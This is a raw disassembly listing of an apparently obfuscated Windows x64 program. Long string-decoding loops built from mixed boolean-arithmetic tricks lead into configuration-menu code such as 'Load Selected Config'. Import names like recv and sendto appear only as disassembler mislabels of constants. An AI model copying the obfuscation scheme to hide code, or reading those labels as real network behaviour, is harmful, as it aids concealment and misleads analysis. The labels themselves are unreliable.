sub r11b, 0x60
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
lea rax, [r9 + 8]
cmp r8, rax
jne 0x1400a23a1
movabs rdx, 0x7d193d70af152a40
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x1400a2a94
movabs rdx, 0x1bb3d97f6e67ee80
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, byte [rbp + rbx + 0xa50]
sub r11b, al
add r11b, 0x80
jmp 0x1400a2ae7
movabs rdx, 0x6b012786ce1150a0
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, byte [rbp + rbx + 0xa50]
sub r11b, 0x60
add r11b, dl
jmp 0x1400a2b8d
movabs rdx, 0x6bc8d5810a143530
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
add r11b, dl
jmp 0x1400a2b8d
movabs rdx, 0x2e939d638b6eacb0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x8ff90154cc1be870
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x10
jmp 0x1400a2a94
movabs rdx, 0xf15e65460cc92430
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x50
add r11b, dl
movabs rcx, 0xf40d327bbe933d70
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x10
add cl, r10b
mov byte [rbp + rbx + 0xa50], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x3767b2fedccfdd0
mov ecx, Ordinal_41
add rdx, rbx
movzx eax, r10b
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rdx, 0x435a80831e3c9f90
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa50], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
movabs rdx, 0x64dbdf212e7a3990
add rdx, rbx
movzx eax, dl
and al, dil
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, dil
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a1ea2
mov r10, rdi
movabs rcx, 0x158e9119ced0d770
add rcx, rbx
and dil, cl
add dil, dil
movzx r11d, r10b
sub r11b, dil
sub r11b, 0x10
add r11b, cl
movabs rdx, 0x92a7ce8a7de601b0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa50], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0xba4e758e2dbab2c0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x40
add r10b, cl
mov byte [rbp + rbx + 0xa50], r10b
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
movabs rcx, 0x76f3f50b0f7e1330
add rcx, rbx
movzx eax, dil
and al, cl
add al, al
sub cl, al
lea r11d, [rdi + rcx]
sub r11b, 0x50
movzx eax, byte [rbp + rbx + 0xa50]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a1ea2
movabs rcx, 0x9994c4ea597ffd50
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x30
jmp 0x1400a1ea0
movabs rcx, 0x4a4776e2f9d69b30
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
jmp 0x1400a1e90
lea rcx, [rbp + 0x1670110]
jmp 0x1400a2ca8
lea rcx, [rbp + 0x7bb220]
jmp 0x1400a2ca8
lea rcx, [rbp + 0xa50]
xor r8d, r8d
lea rdx, [rbp - 0x5c]
call fcn.140034820
test al, al
je 0x1400a2cc7
mov rax, qword [0x14022fe78]
mov byte [rax + 0xa], 0
call fcn.1400408a0
mov byte [rbp + 0xa78], Ordinal_45
mov byte [rbp + 0xa79], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0xa7a], 0
mov byte [rbp + 0xa7b], Ordinal_30
mov byte [rbp + 0xa7c], Ordinal_30
mov byte [rbp + 0xa7d], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0xa7e], 1
mov byte [rbp + 0xa7f], 0x77
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xa80], xmm0
mov qword [rbp + 0xa90], rax
mov word [rbp + 0xa98], ax
mov byte [rbp + 0xa9a], al
movabs rdi, 0xc3c09ccf2c29a706
movabs rsi, 0xfb1c4c8ffbe5dba
movabs r15, 0x952509c26aca66e
movabs r14, 0xfd0d2390b26510de
movabs r13, 0xea688258650bc402
movzx r11d, byte [rsp + 0x40]
nop dword [rax]
mov r8, qword [0x1402304a8]
mov r9, qword [0x1402304a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x1400a3c38
movzx r10d, byte [rbp + rbx + 0xa78]
mov rdx, r10
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400a3c2c
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400a2dc3
lea rcx, [rbx + r15]
mov rax, rcx
and rax, rdx
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, rdx
sub r11b, 2
jmp 0x1400a2e10
je 0x1400a3ba4
inc rax
cmp r8, rax
je 0x1400a3b08
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a3ad5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a3a73
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400a3a49
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a39f0
nop dword [rax]
cmp r9, rbx
ja 0x1400a3c20
lea rax, [r9 + 0x20]
cmp r8, rax
jae 0x1400a2e41
lea rcx, [rbx + rdi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2a
jmp 0x1400a2e80
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a39cc
inc rax
cmp r8, rax
je 0x1400a399e
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400a3967
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a393f
nop dword [rax]
nop dword [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400a3519
nop dword [rax]
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400a34f0
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x1400a34be
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400a348f
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400a3466
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400a342a
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400a33f1
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400a33c8
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400a339f
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400a3365
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x1400a2e90
lea r8, [r9 + 0x61]
lea r9, [r8 + 0x5a]
lea rax, [r9 + 2]
cmp r8, rax
jb 0x1400a3bfc
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400a3bd8
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400a3081
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400a3066
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x1400a304b
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x1400a3307
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x1400a32a8
lea rax, [r9 + 3]
cmp r8, rax
jb 0x1400a3259
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x1400a322a
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x1400a2e90
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x61]
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400a31f5
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400a31cd
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x1400a31a9
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x1400a3175
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x1400a313e
lea rax, [r9 + 4]
cmp r8, rax
ja 0x1400a311a
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400a30f0
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x1400a30c3
lea rax, [r9 + 6]
cmp r8, rax
ja 0x1400a309f
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x1400a2e90
lea r8, [r9 + 0x64]
lea r9, [r8 + 0x3e8]
jmp 0x1400a2e90
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x16
jmp 0x1400a2e80
lea rcx, [rbx + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x12
jmp 0x1400a2e10
lea rdx, [rbx + r13]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub dl, 0xe
add r11b, dl
jmp 0x1400a2d85
movabs rcx, 0x1e04e679614d3830
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x1400a3a13
movabs rcx, 0xb60454113f3eb54
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x4c
inc r9
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xf8bba408c69a9e78
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xe61702d07941519c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x44
jmp 0x1400a3a92
movabs rcx, 0xd37261982be804c0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xc0cdc05fde8eb7e4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3c
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xae291f2791356b08
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x38
jmp 0x1400a3b26
movabs rdx, 0x9b847def43dc1e2c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
add r11b, dl
jmp 0x1400a3b5a
movabs rcx, 0x88dfdcb6f682d150
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x30
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x5a4449aa3523912a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x26
mov byte [rbp + rbx + 0xa78], r11b
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x479fa871e7ca444e
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x22
cmp r9, 6
jb 0x1400a3249
movabs rcx, 0xb6cc1e3768ca4fd4
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, reloc.WLDAP32.dll_Ordinal_26
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x1400a3a13
movabs rcx, 0x34fb07399a70f772
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1e
cmp r8, 0xa
jae 0x1400a38e8
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x1400a37c4
movabs rdx, 0xfc5dd204634d4f3c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3278
movabs rcx, 0x225666014d17aa96
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
lea rax, [r8 + r9]
cmp rax, 0x61
je 0x1400a3919
lea rax, [r9 + 0x5a]
cmp r8, rax
jbe 0x1400a3690
movabs rcx, 0x389d35353723a836
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7a
jmp 0x1400a32c7
movabs rdx, 0x9683acdb08f9ea24
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 2
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
movabs rdx, 0x83df0ba2bba09d48
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3b5a
movabs rdx, 0x713a6a6a6e47506c
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3b26
movabs rdx, 0x5e95c93220ee0390
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rdx, 0x4bf127f9d394b6b4
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rdx, 0x394c86c1863b69d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a92
movabs rdx, 0x26a7e58938e21cfc
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rdx, 0x14034450eb88d020
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
inc r9
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rdx, 0x15ea3189e2f8344
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a13
lea rax, [r9 + 5]
cmp r8, rax
jae 0x1400a3541
lea rcx, [rbx + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 2
jmp 0x1400a3326
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a3583
movabs rcx, 0x8781399e58534e0c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x54
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
inc rax
cmp r8, rax
jne 0x1400a35b3
movabs rcx, 0xacca7c0ef305e7c4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
jmp 0x1400a3b26
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a35f7
movabs rcx, 0xd213be7f8db8817c
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x64
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a3628
movabs rcx, 0xe4b85fb7db11ce58
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x68
jmp 0x1400a3a92
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a365f
movabs rcx, 0xf75d00f0286b1b34
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x6c
dec rbx
inc rbx
jmp 0x1400a2d72
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a3326
movabs rcx, 0x1ca64360c31db4ec
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x74
jmp 0x1400a3a13
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400a36c2
movabs rdx, 0x4b41d66d847cf512
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x7e
jmp 0x1400a3a10
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a36fe
movabs rdx, 0x708b18de1f2f8eca
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a2d72
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400a3734
movabs rdx, 0x832fba166c88dba6
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a92
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400a377d
movabs rdx, 0x95d45b4eb9e22882
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400a32c7
movabs rdx, 0xe066e02fef475bf2
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400a380b
movabs rdx, 0xf02733cb0a69c18
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
inc rax
cmp r8, rax
jne 0x1400a3840
movabs rdx, 0x21a71474fdffe8f4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x1400a3b5a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400a3876
movabs rdx, 0x6c39995633651c64
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a92
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400a38b2
movabs rdx, 0x7ede3a8e80be6940
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x1400a2d72
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400a3278
movabs rdx, 0xa4277cff1b7102f8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_30
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a13
movabs rdx, 0xc970bf6fb6239cb0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rbx + 0xa78]
add r11b, dl
add r11b, r10b
jmp 0x1400a3a92
movabs rdx, 0xdc1560a8037ce98c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400a3b26
movabs rdx, 0x46410559499ac10a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x46
add r11b, dl
jmp 0x1400a3b26
movabs rcx, 0x20f7c2e8aee82752
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x3e
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xe909df3fc6dc40be
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x32
inc r9
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xd6653e077982f3e2
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2e
jmp 0x1400a3a13
movabs rdx, 0xb11bfb96ded05a2a
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x26
add r11b, dl
movabs rdx, 0xc01e6ed38f76f642
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa78], cl
inc r9
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x8bd2b926441dc072
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1e
dec rbx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x792e17edf6c47396
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x1a
movabs rdx, 0xd2c3100bdcd0431e
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0xa78], cl
add r8, r9
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x53e4d57d5c11d9de
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 0x12
movzx eax, r11b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x1400a2d72
mov r10, rdx
movabs rax, 0x414034450eb88d02
add rax, rbx
and dl, al
add dl, dl
sub al, dl
lea r11d, [r10 + rax]
sub r11b, 0xe
movabs rdx, 0xe567b1442a298ffa
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0xa78], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xeeba01e050d63668
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + rbx + 0xa78], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
movabs rcx, 0x1bf6f1d47405f34a
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r11d, [rdx + rcx]
sub r11b, 6
movzx eax, byte [rbp + rbx + 0xa78]
add rax, r9
add rbx, rax
inc rbx
jmp 0x1400a2d72
movabs rcx, 0xd7c3e12017b27726
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0xa
jmp 0x1400a2d70
movabs rcx, 0xc51f3fe7ca592a4a
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 6
jmp 0x1400a2d60
lea rcx, [rbp + 0x17fdc60]
jmp 0x1400a3c3f
lea rcx, [rbp + 0xec82ce]
jmp 0x1400a3c3f
lea rcx, [rbp + 0xa78]
xor r8d, r8d
xor edx, edx
call fcn.140040820
test al, al
je 0x1400a4028
lea rcx, str.General
call fcn.140036770
xorps xmm0, xmm0
movups xmmword [rbp + 0x10b0], xmm0
movups xmmword [rbp + 0x10c0], xmm0
movups xmmword [rbp + 0x10d0], xmm0
movups xmmword [rbp + 0x10e0], xmm0
mov rdx, qword [0x140230118]
add rdx, 0x60
lea rcx, [rbp + 0x10b0]
call fcn.1400e6500
nop
lea rcx, [0x1401dc8c8]
call fcn.140001bc0
xor r8d, r8d
mov rdx, rax
lea rcx, [0x1401be14c]
call fcn.140036bc0
test al, al
je 0x1400a3dff
mov rdx, qword [0x140230118]
add rdx, 0x60
lea rcx, [rbp + 0x10f0]
call fcn.1400e6500
nop
xor eax, eax
mov qword [rbp + 0x1050], rax
mov rax, qword [rbp + 0x10f8]
xor r8d, r8d
mov rdx, qword [rax]
lea rcx, [rbp + 0x1050]
call fcn.14006cef0
xor eax, eax
mov qword [rbp + 0x1058], rax
xor r8d, r8d
mov rdx, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x1058]
call fcn.14006cef0
mov rax, qword [rbp + 0x1050]
cmp rax, qword [rbp + 0x1058]
je 0x1400a3de2
nop word [rax + rax]
lea rbx, [rax + 0x10]
mov rdx, rbx
lea rcx, [rbp + 0x1080]
call fcn.140002680
movzx eax, byte [rbx + 0x20]
mov byte [rbp + 0x10a0], al
lea rdx, [0x1401dc8c8]
lea rcx, [rbp + 0x1080]
call fcn.14005c310
movzx ebx, al
mov dword [rbp - 0x54], 0
mov dword [rbp - 0x50], 0
lea rcx, [rbp + 0x1080]
call fcn.140001bc0
lea r9, [rbp - 0x54]
xor r8d, r8d
movzx edx, bl
mov rcx, rax
call fcn.14003e490
test al, al
je 0x1400a3daa
lea rdx, [rbp + 0x1080]
lea rcx, [0x1401dc8c8]
call fcn.140004210
test bl, bl
je 0x1400a3db8
call fcn.140014a40
nop
lea rcx, [rbp + 0x1080]
call fcn.140002820
mov rax, qword [rbp + 0x1050]
mov rax, qword [rax]
mov qword [rbp + 0x1050], rax
cmp rax, qword [rbp + 0x1058]
jne 0x1400a3d30
lea rcx, [rbp + 0x1108]
call fcn.14005b700
lea rcx, [rbp + 0x10f8]
call fcn.140064f40
call fcn.140018d80
mov dword [rsp + 0x5c], 0
mov dword [rsp + 0x60], 0
xor r8d, r8d
lea rdx, [rsp + 0x5c]
lea rcx, str.Load_Selected_Config
call fcn.140034820
test al, al
je 0x1400a3e5b
cmp qword [0x1401dc8d8], 0
je 0x1400a3e5b
lea rdx, [0x1401dc8c8]
lea rcx, [rbp + 0x348]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230118]
call fcn.1400ded50
mov dword [rsp + 0x64], 0
mov dword [rsp + 0x68], 0
xor r8d, r8d
lea rdx, [rsp + 0x64]
lea rcx, str.Set_Selected_As_Default
call fcn.140034820
test al, al
je 0x1400a3eb7
cmp qword [0x1401dc8d8], 0
je 0x1400a3eb7
lea rdx, [0x1401dc8c8]
lea rcx, [rbp + 0x368]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230118]
call fcn.1400e3fa0
mov dword [rsp + 0x6c], 0
mov dword [rsp + 0x70], 0
xor r8d, r8d
lea rdx, [rsp + 0x6c]
lea rcx, str.Override_Selected_Config
call fcn.140034820
test al, al
je 0x1400a3f13
cmp qword [0x1401dc8d8], 0
je 0x1400a3f13
lea rdx, [0x1401dc8c8]
lea rcx, [rbp + 0x388]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x140230118]
call fcn.1400e1590
lea rcx, str.Settings
call fcn.140036770
